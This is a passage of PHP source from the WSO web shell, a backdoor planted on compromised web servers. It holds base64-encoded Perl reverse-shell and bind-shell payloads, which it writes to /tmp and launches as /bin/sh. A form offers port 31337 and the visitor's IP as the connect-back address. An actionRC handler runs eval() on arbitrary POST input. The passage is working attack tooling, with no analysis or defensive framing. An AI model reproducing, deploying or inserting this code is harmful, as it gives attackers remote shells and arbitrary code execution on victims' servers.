1777    $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1778    $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1779    echo "<h1>Network tools</h1><div class=content> <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> <span>Bind port to /bin/sh [perl]</span><br/> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> </form> <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> <span>Back-connect [perl]</span><br/> Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> </form><br />";
1780    if (isset($_POST['p1']))
1781        {
1782        function cf($f, $t)
1783            {
1784            $w = @fopen($f, "w") or @function_exists('file_put_contents');
1785            if ($w)
1786                {
1787                @fwrite($w, @base64_decode($t));
1788                @fclose($w);
1789                }
1790            }
1791 
1792        if ($_POST['p1'] == 'bpp')
1793            {
1794            cf("/tmp/bp.pl", $bind_port_p);
1795            $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1796            sleep(1);
1797            echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1798            unlink("/tmp/bp.pl");
1799            }
1800 
1801        if ($_POST['p1'] == 'bcp')
1802            {
1803            cf("/tmp/bc.pl", $back_connect_p);
1804            $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1805            sleep(1);
1806            echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1807            unlink("/tmp/bc.pl");
1808            }
1809        }
1810 
1811    echo '</div>';
1812    wsoFooter();
1813    }
1814 
1815function actionRC()
1816    {
1817    if (!@$_POST['p1'])
1818        {
1819        $a = array(
1820            "uname" => php_uname() ,
1821            "php_version" => phpversion() ,
1822            "wso_version" => WSO_VERSION,
1823            "safemode" => @ini_get('safe_mode')
1824        );
1825        echo serialize($a);
1826        }
1827      else
1828        {
1829        eval($_POST['p1']);
1830        }
1831    }
1832 
1833if (empty($_POST['a']))
1834if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1835  else $_POST['a'] = 'SecInfo';
1836 
1837if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1838exit;